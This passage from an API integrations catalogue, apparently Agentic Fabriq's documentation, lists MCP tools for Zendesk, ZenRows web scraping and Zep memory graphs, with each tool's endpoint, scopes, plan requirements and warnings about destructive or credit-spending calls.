Scopes: dynamic_content:read. zendesk_show_many_organizations (read) — Show Many Organizations. Accepts a comma-separated list of up to 100 organization ids or external ids GET /api/v1/tools/zendesk/show-many-organizations. Scopes: organizations:read. zendesk_show_many_ticket_form_statuses (read) — Show Many Ticket Form Statuses. Fetches all of the ticket form statuses specified by a comma separated list of ids PLAN-GATED: requires Zendesk Suite. GET /api/v1/tools/zendesk/show-many-ticket-form-statuses. Scopes: tickets:read. zendesk_show_organization_field (read) — Show Organization Field. Allowed for GET /api/v1/tools/zendesk/show-organization-field. Scopes: organizations:read. zendesk_show_organization_membership_by_id (read) — Show Membership. Allowed for GET /api/v1/tools/zendesk/show-organization-membership-by-id. Scopes: organizations:read. zendesk_show_organization_membership_by_user_id (read) — Show Organization Membership by User. Allowed for GET /api/v1/tools/zendesk/show-organization-membership-by-user-id. Scopes: organizations:read. zendesk_show_organization_merge (read) — Show Organization Merge. Retrieves the details of a specific organization merge operation. This endpoint is useful for obtaining the status and outcome of a merge that was previously initiated. It provides information such as the winning and losing organization IDs, the status of the merge, and the associated URLs GET /api/v1/tools/zendesk/show-organization-merge. Scopes: organizations:read. zendesk_show_organization_subscription (read) — Show Organization Subscription. Allowed For: GET /api/v1/tools/zendesk/show-organization-subscription. Scopes: organizations:read. zendesk_show_request (read) — Show Request. Sideloads GET /api/v1/tools/zendesk/show-request. Scopes: requests:read. zendesk_show_satisfaction_rating (read) — Show Satisfaction Rating. Returns a specific satisfaction rating. You can get the id from the List Satisfaction Ratings endpoint PLAN-GATED: requires Suite Growth or above. GET /api/v1/tools/zendesk/show-satisfaction-rating. Scopes: satisfaction_ratings:read. zendesk_show_target (read) — Show Target. Allowed For READ ONLY: Agentic Fabriq exposes no target writes. A target holds its own credentials and points at an arbitrary URL. GET /api/v1/tools/zendesk/show-target. Scopes: targets:read. zendesk_show_target_failure (read) — Show Target Failure. Stability READ ONLY. GET /api/v1/tools/zendesk/show-target-failure. Scopes: targets:read. zendesk_show_ticket_field_option (read) — Show Ticket Field Option. Allowed for Agents GET /api/v1/tools/zendesk/show-ticket-field-option. Scopes: tickets:read. zendesk_show_ticket_form (read) — Show Ticket Form. Allowed For PLAN-GATED: requires Support Growth or above. GET /api/v1/tools/zendesk/show-ticket-form. Scopes: tickets:read. zendesk_show_user_field (read) — Show User Field. Allowed for GET /api/v1/tools/zendesk/show-user-field. Scopes: users:read. zendesk_show_user_field_option (read) — Show a User Field Option. Allowed for Agents GET /api/v1/tools/zendesk/show-user-field-option. Scopes: users:read. zendesk_show_user_identity (read) — Show Identity. Shows the identity with the given id for a given user GET /api/v1/tools/zendesk/show-user-identity. Scopes: users:read. zendesk_suggest_help_center_articles (read) — Suggest deflection articles. Ask Zendesk for the articles it would suggest to deflect a question — the same ranking the customer-facing widget uses, so an agent's answer matches what the customer was already shown READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/suggest-help-center-articles. Scopes: hc:read. zendesk_ticket_form_ticket_form_statuses (read) — List Ticket Form Statuses of a Ticket Form. Fetches all of the associated ticket form statuses of a ticket form PLAN-GATED: requires Support Growth or above. GET /api/v1/tools/zendesk/ticket-form-ticket-form-statuses. Scopes: tickets:read. zendesk_unassign_organization (write, destructive) — DESTRUCTIVE — Unassign Organization. Immediately removes a user from an organization and schedules a job to unassign all working tickets currently assigned to the user and organization combination. The organization_id of the unassigned tickets is set to null Requires confirm=true. POST /api/v1/tools/zendesk/unassign-organization. Scopes: organizations:write. zendesk_update_dynamic_content_item (write) — Update Item. The only attribute you can change is the name PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/update-dynamic-content-item. Scopes: dynamic_content:write. zendesk_update_dynamic_content_variant (write) — Update Variant. Updates the specified variant. You don't need to include all the properties. If you just want to update content, for example, then include just that PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/update-dynamic-content-variant. Scopes: dynamic_content:write. zendesk_update_many_dynamic_content_variants (write) — Update Many Variants. Updates one or more variants. See Update Variant PLAN-GATED: requires Support Growth or above (multiple languages). POST /api/v1/tools/zendesk/update-many-dynamic-content-variants. Scopes: dynamic_content:write. zendesk_update_many_organizations (write, destructive) — DESTRUCTIVE — Update Many Organizations. Bulk or batch updates up to 100 organizations Requires confirm=true. POST /api/v1/tools/zendesk/update-many-organizations. Scopes: organizations:write. zendesk_update_many_users (write, destructive) — DESTRUCTIVE — Update Many Users Requires confirm=true. POST /api/v1/tools/zendesk/update-many-users. Scopes: users:write. zendesk_update_organization (write) — Update Organization. Allowed For POST /api/v1/tools/zendesk/update-organization. Scopes: organizations:write. zendesk_update_request (write, destructive) — DESTRUCTIVE — Update Request. Updates a request with a comment or collaborators (cc's). The end user who created the request can also use it to mark the request as solved. The endpoint can't be used to update other request attributes Requires confirm=true. POST /api/v1/tools/zendesk/update-request. Scopes: requests:write. zendesk_update_ticket (write, destructive) — DESTRUCTIVE — change a ticket's status, priority, assignee, tags or subject. `status="closed" IS IRREVERSIBLE`: Zendesk provides no way back through any API or interface, a requester's reply becomes a separate follow-up ticket, business rules and SLAs stop applying, and the ticket archives out of lists and views after 120 days. Use 'solved' unless closing is genuinely intended. `tags` REPLACES the ticket's tag set rather than merging — read the ticket first and send the union if you mean to add one. To add a comment use zendesk_add_ticket_comment; this tool takes none. PUT /api/v1/tools/zendesk/tickets. Scopes: tickets:write. zendesk_update_tickets_many (write, destructive) — DESTRUCTIVE — Update up to 100 tickets in one background job. Everything 'Update a ticket' says applies to every ticket in the set at once, including status='closed', which is irreversible. The job runs in the background and Agentic Fabriq cannot poll it for you, because Zendesk publishes no granular scope for job statuses — so a partial failure is visible only by re-reading the tickets. Requires confirm=true. POST /api/v1/tools/zendesk/update-tickets-many. Scopes: tickets:write. zendesk_update_user (write) — Update one user: name, e-mail, alias, notes, tags, organization, role, custom fields, and SUSPENDED. Setting suspended=false is the inverse of 'Mark a ticket as spam' — it is how a wrongly suspended customer gets their access back, and it is the reason marking spam is shippable. Setting suspended=true suspends the person directly. Role and custom_role_id change what that user may do inside Zendesk. POST /api/v1/tools/zendesk/update-user. Scopes: users:write. zendesk_update_user_identity (write) — Update Identity. This endpoint allows you to: POST /api/v1/tools/zendesk/update-user-identity. Scopes: users:write. zendesk_verify_user_identity (write) — Verify Identity. Sets the specified identity as verified POST /api/v1/tools/zendesk/verify-user-identity. Scopes: users:write. ================================================================================ ## ZenRows URL: https://www.agenticfabriq.com/integrations/zen_rows Section: Integrated Tools ZenRows — 27 MCP tools Provider key: zen_rows. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zen_rows_delete_hmac_keys_rotate (write, destructive) — Discard the PENDING webhook signing key and keep signing with the current one. The pending key is destroyed with no undo -- starting over means another Start a key rotation -- but no delivery breaks, because the key in use does not change. Answers 204 with no body via DELETE /hmac/keys/rotate DELETE /api/v1/zen_rows/batch/hmac/keys/rotate. Scopes: api. zen_rows_delete_jobs_by_job_id_runs_by_run_id (write, destructive) — Delete one run of a Batch job AND the results it holds. There is no undo and no trash: re-collecting the data means rerunning the job, which spends credits again. Answers 204 with no body via DELETE /jobs/{job_id}/runs/{run_id} DELETE /api/v1/zen_rows/batch/jobs/{job_id}/runs/{run_id}. Scopes: api. zen_rows_delete_jobs_by_job_id_webhook (write, destructive) — Stop delivering this Batch job's results to a webhook. Deliveries already made are not recalled, and results stay readable through Read a job's results. REVERSIBLE: set it again with Set a job's webhook. Answers 204 with no body via DELETE /jobs/{job_id}/webhook DELETE /api/v1/zen_rows/batch/jobs/{job_id}/webhook. Scopes: api. zen_rows_get (read) — Retrieve one URL through ZenRows and return its content. One request covers the whole Universal Scraper surface, because these are configurations rather than separate endpoints: `js_render` runs a headless browser, `premium_proxy` plus `proxy_country` picks a residential exit IP, `response_type=markdown|plaintext|pdf` converts the page, `screenshot`/`screenshot_fullpage` return an image, and `extract=auto`, `css_extractor`, `autoparse` and `outputs` return structured JSON instead of markup. EVERY CALL SPENDS CREDITS and the cost depends on the configuration that succeeds, so `mode=auto` (escalate only when the target needs it) is the cheapest way to fetch a protected page. A non-JSON reply comes back as `{content_type, text}`, and a PDF or screenshot as `{content_type, content_base64}`; anything over 4 MB is refused rather than truncated -- use a Batch job with a webhook for bulk. For many URLs use Create a batch job instead of calling this in a loop via GET / GET /api/v1/zen_rows/fetch. Scopes: api. zen_rows_get_api_agent_account (read) — Report the claim state of the connected account: its id, whether a person has taken ownership (`claimed`), whether it was created by ZenRows' anonymous agent signup (`isAgent`) and when a trial allowance ends. Claiming does not rotate the key, so this is how a long-running connection learns a human took over. It never returns an email or any secret. This is the only tool served from app.zenrows.com and it is the endpoint a pasted key would be probed against via GET /api/agent/account GET /api/v1/zen_rows/agent/account. Scopes: api. zen_rows_get_hmac_keys (read) — The HMAC keys ZenRows signs this account's webhook deliveries with, so a receiver can verify them. These are the account's own webhook-verification secrets; they are not the API key and cannot be used to call this API via GET /hmac/keys GET /api/v1/zen_rows/batch/hmac/keys. Scopes: api. zen_rows_get_jobs (read) — Page through the Batch jobs on the account, newest first. Filter by whether a job still accepts tasks (`status=open|closed`) or by `type=regular|scheduled`, and pass the previous page's `next_cursor` back as `cursor` via GET /jobs GET /api/v1/zen_rows/batch/jobs. Scopes: api. zen_rows_get_jobs_by_job_id (read) — Read one Batch job and the state of its most recent run, including `latest_run.status` (`running`, `completed`, `stopped` and `deleted` are terminal) and `latest_run.stats` (total, completed, successful, failed). Poll this, or set a webhook, to learn when a run has finished via GET /jobs/{job_id} GET /api/v1/zen_rows/batch/jobs/{job_id}. Scopes: api. zen_rows_get_jobs_by_job_id_results (read) — Page through the per-URL results of a run: each task's status, its content or the location to collect it from, and the `external_id` you set when the task was submitted so a result can be joined back to your own record. Filter with `status=successful|failed` and page with `cursor` via GET /jobs/{job_id}/results GET /api/v1/zen_rows/batch/jobs/{job_id}/results. Scopes: api. zen_rows_get_jobs_by_job_id_runs (read) — Every run of one Batch job, newest first, with each run's stats. This is where a `run_id` comes from for Delete a run and Export a run as a ZIP via GET /jobs/{job_id}/runs GET /api/v1/zen_rows/batch/jobs/{job_id}/runs. Scopes: api. zen_rows_get_subscriptions_self_details (read) — Read the plan behind the connected key: its credit allowance, the credits already used and the concurrency it is allowed. The cheapest read on this integration and the one to call before a large run, because ZenRows answers 402 once an account is out of credits and 429 AUTH008 once every concurrency slot is busy -- neither is a broken tool via GET /subscriptions/self/details GET /api/v1/zen_rows/subscriptions/self/details. Scopes: api. zen_rows_post_hmac_keys_rotate (write) — Issue a new webhook signing key alongside the current one, so a receiver can accept both while the new one is deployed. Finish a key rotation promotes it; Cancel a key rotation discards it via POST /hmac/keys/rotate POST /api/v1/zen_rows/batch/hmac/keys/rotate. Scopes: api. zen_rows_post_hmac_keys_rotate_finalize (write) — Promote the pending webhook signing key and retire the previous one. Any receiver still verifying against only the old key starts rejecting deliveries at this point, so deploy the new key first via POST /hmac/keys/rotate/finalize POST /api/v1/zen_rows/batch/hmac/keys/rotate/finalize. Scopes: api. zen_rows_post_job_inputs (write) — Upload a CSV of URLs to run as a Batch job, for an input too large to send inline. The body is the CSV ITSELF, sent as `text/csv` -- rows carry the URLs and any per-URL columns -- and the identifier it returns goes into Create a batch job as `input_id` via POST /job_inputs POST /api/v1/zen_rows/batch/job_inputs. Scopes: api. zen_rows_post_jobs (write) — Submit a Batch job -- the supported way to fetch many URLs, because results are collected asynchronously and can be delivered to a webhook instead of returned inline. A `closed` job carries every URL up front in `tasks` (up to 10,000 per call); an `open` job is created empty and receives URLs through Add URLs to an open job until one call sets `last_batch`. `zenrows_params` applies the Fetch parameters to every task and a per-task `zenrows_params` overrides it. `type=scheduled` needs a cron from Set a job's schedule. Answers 201 under 10,000 inline tasks and 202 at or above that (or for a CSV input); the body is identical, so treat both the same via POST /jobs POST /api/v1/zen_rows/batch/jobs. Scopes: api. zen_rows_post_jobs_by_job_id_cancel (write) — Cancel the Batch job and the work still pending on it. Results already produced stay readable through Read a job's results; the job stops accepting and dispatching anything further via POST /jobs/{job_id}/cancel POST /api/v1/zen_rows/batch/jobs/{job_id}/cancel. Scopes: api. zen_rows_post_jobs_by_job_id_close (write) — Lock an open Batch job so it accepts no further tasks. Equivalent to sending `last_batch: true` on the last add, and there is no reopen: a closed job can only be rerun or copied via POST /jobs/{job_id}/close POST /api/v1/zen_rows/batch/jobs/{job_id}/close. Scopes: api. zen_rows_post_jobs_by_job_id_pause (write) — Stop dispatching new tasks without abandoning the run, so Resume a paused run can continue it. The reversible alternative to Stop the current run via POST /jobs/{job_id}/pause POST /api/v1/zen_rows/batch/jobs/{job_id}/pause. Scopes: api. zen_rows_post_jobs_by_job_id_rerun (write) — Start a new run of the same Batch job -- how a dataset is refreshed on demand. `only_failed: true` retries just the tasks that failed last time, which is the cheaper call: a rerun spends credits again for every task it dispatches via POST /jobs/{job_id}/rerun POST /api/v1/zen_rows/batch/jobs/{job_id}/rerun. Scopes: api. zen_rows_post_jobs_by_job_id_resume (write) — Continue dispatching the remaining tasks of a paused run via POST /jobs/{job_id}/resume POST /api/v1/zen_rows/batch/jobs/{job_id}/resume. Scopes: api. zen_rows_post_jobs_by_job_id_runs_by_run_id_exports (write) — Ask ZenRows to package a run's content as a ZIP. The export is prepared asynchronously and downloaded from the URL in the response, which is why this is the supported route for bulk content rather than reading pages through tool results via POST /jobs/{job_id}/runs/{run_id}/exports POST /api/v1/zen_rows/batch/jobs/{job_id}/runs/{run_id}/exports. Scopes: api. zen_rows_post_jobs_by_job_id_schedule_state (write) — Turn a scheduled Batch job on or off with `enabled`, without deleting the cron it holds. This is the reversible way to stop a recurring job from spending credits via POST /jobs/{job_id}/schedule/state POST /api/v1/zen_rows/batch/jobs/{job_id}/schedule/state. Scopes: api. zen_rows_post_jobs_by_job_id_stop (write) — Abandon the run in flight. Tasks that already completed keep their results, and the remaining ones are not dispatched. Use Pause the current run instead if the run should continue later via POST /jobs/{job_id}/stop POST /api/v1/zen_rows/batch/jobs/{job_id}/stop. Scopes: api. zen_rows_post_jobs_by_job_id_tasks (write) — Append up to 10,000 URLs to an OPEN Batch job. Send `last_batch: true` on the final call to close it; a later addition then answers 409, which means the job is closed rather than that the request was wrong via POST /jobs/{job_id}/tasks POST /api/v1/zen_rows/batch/jobs/{job_id}/tasks. Scopes: api. zen_rows_post_webhook_test (write) — Deliver a sample payload to a `url` you name, so a receiver and its signature check can be verified before a real run spends credits via POST /webhook/test POST /api/v1/zen_rows/batch/webhook/test. Scopes: api. zen_rows_put_jobs_by_job_id_schedule (write) — Give a `scheduled` Batch job its cron expression and the IANA timezone the cron is read in. REPLACES the whole schedule rather than merging into it, and every run it triggers spends credits via PUT /jobs/{job_id}/schedule PUT /api/v1/zen_rows/batch/jobs/{job_id}/schedule. Scopes: api. zen_rows_put_jobs_by_job_id_webhook (write) — Have ZenRows deliver this job's results to an endpoint you control as tasks complete, instead of polling. REPLACES any webhook already on the job. Deliveries are signed with the account's HMAC keys, which List webhook signing keys returns so a receiver can verify them via PUT /jobs/{job_id}/webhook PUT /api/v1/zen_rows/batch/jobs/{job_id}/webhook. Scopes: api. ================================================================================ ## Zep URL: https://www.agenticfabriq.com/integrations/zep Section: Integrated Tools Zep — 99 MCP tools Provider key: zep. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zep_delete_abac_user_groups_by_groupuuid_policy_sets_by_policysetuuid (write, destructive) — Detach a policy set from a UserGroup. NOT callable with a project API key: Zep restricts ABAC policy-set management to account administrators through the zepctl CLI, so this tool answers with a refusal naming that rather than a bare 403. via DELETE /api/v2/abac/user-groups/{groupUUID}/policy-sets/{policySetUUID} DELETE /api/v1/zep/abac/user-groups/{groupUUID}/policy-sets/{policySetUUID}. Scopes: api. zep_delete_batches_by_batchid (write, destructive) — Delete a draft or invalid unprocessed batch. Processed batches cannot be deleted. via DELETE /api/v2/batches/{batchId} DELETE /api/v1/zep/batches/{batchId}. Scopes: api. zep_delete_context_templates_by_template_id (write, destructive) — Deletes a context template by template_id. via DELETE /api/v2/context-templates/{template_id} DELETE /api/v1/zep/context-templates/{template_id}. Scopes: api. zep_delete_custom_instructions (write, destructive) — Deletes custom instructions for graphs or project wide defaults. via DELETE /api/v2/custom-instructions DELETE /api/v1/zep/custom-instructions. Scopes: api. zep_delete_graph_by_graphid (write, destructive) — Deletes a graph. If you would like to delete a user graph, make sure to use user.delete instead. via DELETE /api/v2/graph/{graphId} DELETE /api/v1/zep/graph/{graphId}. Scopes: api. zep_delete_graph_edge_by_uuid (write, destructive) — Deletes an edge by UUID. via DELETE /api/v2/graph/edge/{uuid} DELETE /api/v1/zep/graph/edge/{uuid}. Scopes: api. zep_delete_graph_episodes_by_uuid (write, destructive) — Deletes an episode by its UUID. via DELETE /api/v2/graph/episodes/{uuid} DELETE /api/v1/zep/graph/episodes/{uuid}. Scopes: api. zep_delete_graph_node_by_uuid (write, destructive) — Deletes a node by UUID. via DELETE /api/v2/graph/node/{uuid} DELETE /api/v1/zep/graph/node/{uuid}. Scopes: api. zep_delete_threads_by_threadid (write, destructive) — Deletes a thread. via DELETE /api/v2/threads/{threadId} DELETE /api/v1/zep/threads/{threadId}. Scopes: api. zep_delete_user_groups_by_groupuuid (write, destructive) — Delete a managed UserGroup. via DELETE /api/v2/user-groups/{groupUUID} DELETE /api/v1/zep/user-groups/{groupUUID}. Scopes: api. zep_delete_user_groups_by_groupuuid_members_by_useruuid (write, destructive) — Remove one member from a managed UserGroup. via DELETE /api/v2/user-groups/{groupUUID}/members/{userUUID} DELETE /api/v1/zep/user-groups/{groupUUID}/members/{userUUID}. Scopes: api. zep_delete_user_summary_instructions (write, destructive) — Deletes user summary/instructions for users or project wide defaults. via DELETE /api/v2/user-summary-instructions DELETE /api/v1/zep/user-summary-instructions. Scopes: api. zep_delete_users_by_userid (write, destructive) — Deletes a user. via DELETE /api/v2/users/{userId} DELETE /api/v1/zep/users/{userId}. Scopes: api. zep_get_abac_user_groups_by_groupuuid_policy_sets (read) — List policy sets attached to a UserGroup. NOT callable with a project API key: Zep restricts ABAC policy-set management to account administrators through the zepctl CLI, so this tool answers with a refusal naming that rather than a bare 403. via GET /api/v2/abac/user-groups/{groupUUID}/policy-sets GET /api/v1/zep/abac/user-groups/{groupUUID}/policy-sets. Scopes: api. zep_get_batches (read) — List batches for the current project, optionally filtered by batch status. via GET /api/v2/batches GET /api/v1/zep/batches. Scopes: api. zep_get_batches_by_batchid (read) — Get a batch summary, including runtime progress when the batch has been processed. via GET /api/v2/batches/{batchId} GET /api/v1/zep/batches/{batchId}. Scopes: api. zep_get_batches_by_batchid_items (read) — List items in a batch, including derived runtime status when the batch has been processed. via GET /api/v2/batches/{batchId}/items GET /api/v1/zep/batches/{batchId}/items. Scopes: api. zep_get_context_templates (read) — Lists all context templates. via GET /api/v2/context-templates GET /api/v1/zep/context-templates. Scopes: api. zep_get_context_templates_by_template_id (read) — Retrieves a context template by template_id. via GET /api/v2/context-templates/{template_id} GET /api/v1/zep/context-templates/{template_id}. Scopes: api. zep_get_custom_instructions (read) — Lists all custom instructions for a project, user, or graph. via GET /api/v2/custom-instructions GET /api/v1/zep/custom-instructions. Scopes: api. zep_get_graph_by_graphid (read) — Returns a graph. via GET /api/v2/graph/{graphId} GET /api/v1/zep/graph/{graphId}. Scopes: api. zep_get_graph_by_graphid_warm (read) — Hints Zep to warm a graph for low-latency search. via GET /api/v2/graph/{graphId}/warm GET /api/v1/zep/graph/{graphId}/warm. Scopes: api. zep_get_graph_documents_by_document_id_episodes (read) — Returns episodes associated with a document on a graph. Documents group episodes as chunks, parallel to how threads group messages. via GET /api/v2/graph/documents/{document_id}/episodes GET /api/v1/zep/graph/documents/{document_id}/episodes. Scopes: api. zep_get_graph_edge_by_uuid (read) — Returns a specific edge by its UUID. via GET /api/v2/graph/edge/{uuid} GET /api/v1/zep/graph/edge/{uuid}. Scopes: api. zep_get_graph_episodes_by_uuid (read) — Returns episodes by UUID. via GET /api/v2/graph/episodes/{uuid} GET /api/v1/zep/graph/episodes/{uuid}. Scopes: api. zep_get_graph_episodes_by_uuid_mentions (read) — Deprecated. Use edge and node listing with `filters.episode_uuids` instead. Returns nodes and edges mentioned in an episode, subject to an internal cap; responses reduced by that cap set the Zep-Truncated header. via GET /api/v2/graph/episodes/{uuid}/mentions GET /api/v1/zep/graph/episodes/{uuid}/mentions. Scopes: api. zep_get_graph_episodes_graph_by_graph_id (read) — Returns episodes by graph id. via GET /api/v2/graph/episodes/graph/{graph_id} GET /api/v1/zep/graph/episodes/graph/{graph_id}. Scopes: api. zep_get_graph_episodes_user_by_user_id (read) — Returns episodes by user id. via GET /api/v2/graph/episodes/user/{user_id} GET /api/v1/zep/graph/episodes/user/{user_id}. Scopes: api. zep_get_graph_list_all (read) — Returns a paginated directory of live standalone graphs in the authenticated project. Optional `search` matches `graph_id`, `name`, and `description` (metadata only; not graph contents). Default `pageSize` is 50 (range 1–100). To list users, use `user.list_ordered` instead. via GET /api/v2/graph/list-all GET /api/v1/zep/graph/list-all. Scopes: api. zep_get_graph_list_ontology (read) — Retrieves the current entity and edge types configured for your graph. See the [full documentation](/customizing-graph-structure) for details. via GET /api/v2/entity-types GET /api/v1/zep/graph/list-ontology. Scopes: api. zep_get_graph_node_by_node_uuid_entity_edges (read) — Deprecated. Use edge listing with `filters.connected_node_uuids`, or the neighbors endpoint (`POST /graph/node/{node_uuid}/neighbors`), instead. Returns all edges for a node, subject to an internal cap; responses reduced by that cap set the Zep-Truncated header. via GET /api/v2/graph/node/{node_uuid}/entity-edges GET /api/v1/zep/graph/node/{node_uuid}/entity-edges. Scopes: api. zep_get_graph_node_by_node_uuid_episodes (read) — Deprecated. Use episode listing with `mentioned_node_uuids` (`POST /graph/episodes/graph/{graph_id}` or `POST /graph/episodes/user/{user_id}`) instead. Returns episodes that mentioned a given node, subject to an internal cap; responses reduced by that cap set the Zep-Truncated header. via GET /api/v2/graph/node/{node_uuid}/episodes GET /api/v1/zep/graph/node/{node_uuid}/episodes. Scopes: api. zep_get_graph_node_by_uuid (read) — Returns a specific node by its UUID. via GET /api/v2/graph/node/{uuid} GET /api/v1/zep/graph/node/{uuid}. Scopes: api. zep_get_graph_observation_by_uuid (read) — Returns a specific observation node by UUID. Observation nodes are read-only. via GET /api/v2/graph/observation/{uuid} GET /api/v1/zep/graph/observation/{uuid}. Scopes: api. zep_get_projects_info (read) — Retrieve project info based on the provided api key. via GET /api/v2/projects/info GET /api/v1/zep/projects/info. Scopes: api. zep_get_projects_observation_steering (read) — Returns project steering or the effective user/graph steering with project fallback. This API is experimental and may change in future releases. via GET /api/v2/projects/observation-steering GET /api/v1/zep/projects/observation-steering. Scopes: api. zep_get_tasks_by_task_id (read) — Gets a task by its ID. via GET /api/v2/tasks/{task_id} GET /api/v1/zep/tasks/{task_id}. Scopes: api. zep_get_threads (read) — Returns all threads. via GET /api/v2/threads GET /api/v1/zep/threads. Scopes: api. zep_get_threads_by_threadid_context (read) — Returns most relevant context from the user graph (including memory from any/all past threads) based on the content of the past few messages of the given thread. via GET /api/v2/threads/{threadId}/context GET /api/v1/zep/threads/{threadId}/context. Scopes: api. zep_get_threads_by_threadid_episodes (read) — Returns graph episodes associated with a thread. Parallel to get_episodes_for_document for documents. via GET /api/v2/threads/{threadId}/episodes GET /api/v1/zep/threads/{threadId}/episodes. Scopes: api. zep_get_threads_by_threadid_messages (read) — Returns messages for a thread. via GET /api/v2/threads/{threadId}/messages GET /api/v1/zep/threads/{threadId}/messages. Scopes: api. zep_get_threads_by_threadid_summary (read) — Returns the incremental summary generated from messages in the thread. Returns 404 if no summary exists for the thread. via GET /api/v2/threads/{threadId}/summary GET /api/v1/zep/threads/{threadId}/summary. Scopes: api. zep_get_user_groups (read) — List UserGroups. via GET /api/v2/user-groups GET /api/v1/zep/user-groups. Scopes: api. zep_get_user_groups_by_groupuuid (read) — Get a UserGroup. via GET /api/v2/user-groups/{groupUUID} GET /api/v1/zep/user-groups/{groupUUID}. Scopes: api. zep_get_user_groups_by_groupuuid_members (read) — List UserGroup members. via GET /api/v2/user-groups/{groupUUID}/members GET /api/v1/zep/user-groups/{groupUUID}/members. Scopes: api. zep_get_user_groups_by_groupuuid_members_candidates (read) — List Users eligible to join a UserGroup. via GET /api/v2/user-groups/{groupUUID}/members/candidates GET /api/v1/zep/user-groups/{groupUUID}/members/candidates. Scopes: api. zep_get_user_groups_users_by_useruuid (read) — List effective UserGroups for a User. via GET /api/v2/user-groups/users/{userUUID} GET /api/v1/zep/user-groups/users/{userUUID}. Scopes: api. zep_get_user_summary_instructions (read) — Lists all user summary instructions for a project, user. via GET /api/v2/user-summary-instructions GET /api/v1/zep/user-summary-instructions. Scopes: api. zep_get_users_by_userid (read) — Returns a user. via GET /api/v2/users/{userId} GET /api/v1/zep/users/{userId}. Scopes: api. zep_get_users_by_userid_node (read) — Returns a user's node. via GET /api/v2/users/{userId}/node GET /api/v1/zep/users/{userId}/node. Scopes: api. zep_get_users_by_userid_threads (read) — Returns all threads for a user. via GET /api/v2/users/{userId}/threads GET /api/v1/zep/users/{userId}/threads. Scopes: api. zep_get_users_by_userid_warm (read) — Hints Zep to warm a user's graph for low-latency search. via GET /api/v2/users/{userId}/warm GET /api/v1/zep/users/{userId}/warm. Scopes: api. zep_get_users_ordered (read) — Returns all users. via GET /api/v2/users-ordered GET /api/v1/zep/users-ordered. Scopes: api. zep_patch_graph_by_graphid (write) — Updates information about a graph. via PATCH /api/v2/graph/{graphId} PATCH /api/v1/zep/graph/{graphId}. Scopes: api. zep_patch_graph_edge_by_uuid (write) — Updates an entity edge by UUID. via PATCH /api/v2/graph/edge/{uuid} PATCH /api/v1/zep/graph/edge/{uuid}. Scopes: api. zep_patch_graph_episodes_by_uuid (write) — Update episode metadata with merge semantics. Supplied keys overwrite or add to existing metadata; keys set to null are removed. via PATCH /api/v2/graph/episodes/{uuid} PATCH /api/v1/zep/graph/episodes/{uuid}. Scopes: api. zep_patch_graph_node_by_uuid (write) — Updates an entity node by UUID. via PATCH /api/v2/graph/node/{uuid} PATCH /api/v1/zep/graph/node/{uuid}. Scopes: api. zep_patch_messages_by_messageuuid (write) — Updates a message. via PATCH /api/v2/messages/{messageUUID} PATCH /api/v1/zep/messages/{messageUUID}. Scopes: api. zep_patch_projects_info (write) — Sets or clears the project-level fallback time zone for the API key's project. via PATCH /api/v2/projects/info PATCH /api/v1/zep/projects/info. Scopes: api. zep_patch_user_groups_by_groupuuid (write) — Update a managed UserGroup. via PATCH /api/v2/user-groups/{groupUUID} PATCH /api/v1/zep/user-groups/{groupUUID}. Scopes: api. zep_patch_users_by_userid (write) — Updates a user. via PATCH /api/v2/users/{userId} PATCH /api/v1/zep/users/{userId}. Scopes: api. zep_post_abac_user_groups_by_groupuuid_policy_sets (write) — Attach a policy set to a UserGroup. NOT callable with a project API key: Zep restricts ABAC policy-set management to account administrators through the zepctl CLI, so this tool answers with a refusal naming that rather than a bare 403. via POST /api/v2/abac/user-groups/{groupUUID}/policy-sets POST /api/v1/zep/abac/user-groups/{groupUUID}/policy-sets. Scopes: api. zep_post_batches (write) — Create a draft batch that can be filled with graph episodes and thread messages. via POST /api/v2/batches POST /api/v1/zep/batches. Scopes: api. zep_post_batches_by_batchid_items (write) — Add graph episodes and thread messages to a draft batch. Items are appended in request order. via POST /api/v2/batches/{batchId}/items POST /api/v1/zep/batches/{batchId}/items. Scopes: api. zep_post_batches_by_batchid_process (write) — Start processing a filled batch. Repeated calls return a conflict. via POST /api/v2/batches/{batchId}/process POST /api/v1/zep/batches/{batchId}/process. Scopes: api. zep_post_context_templates (write) — Creates a new context template. via POST /api/v2/context-templates POST /api/v1/zep/context-templates. Scopes: api. zep_post_custom_instructions (write) — Adds new custom instructions for graphs without removing existing ones. If user_ids or graph_ids is empty, adds to project-wide default instructions. via POST /api/v2/custom-instructions POST /api/v1/zep/custom-instructions. Scopes: api. zep_post_graph (write) — Add data to the graph. via POST /api/v2/graph POST /api/v1/zep/graph. Scopes: api. zep_post_graph_add_fact_triple (write) — Add a fact triple for a user or group. via POST /api/v2/graph/add-fact-triple POST /api/v1/zep/graph/add-fact-triple. Scopes: api. zep_post_graph_batch (write) — Deprecated. Use the [Batch API](/adding-batch-data) (`client.batch.*`) instead. Adds data to the graph in batch mode, processing episodes concurrently. via POST /api/v2/graph-batch POST /api/v1/zep/graph-batch. Scopes: api. zep_post_graph_clone (write) — Clone a user or group graph. via POST /api/v2/graph/clone POST /api/v1/zep/graph/clone. Scopes: api. zep_post_graph_create (write) — Creates a new graph. via POST /api/v2/graph/create POST /api/v1/zep/graph/create. Scopes: api. zep_post_graph_document_summary_graph_by_graph_id (write) — Returns incremental document summaries associated with the graph. Document summaries are derived similarly to thread summaries. via POST /api/v2/graph/document-summary/graph/{graph_id} 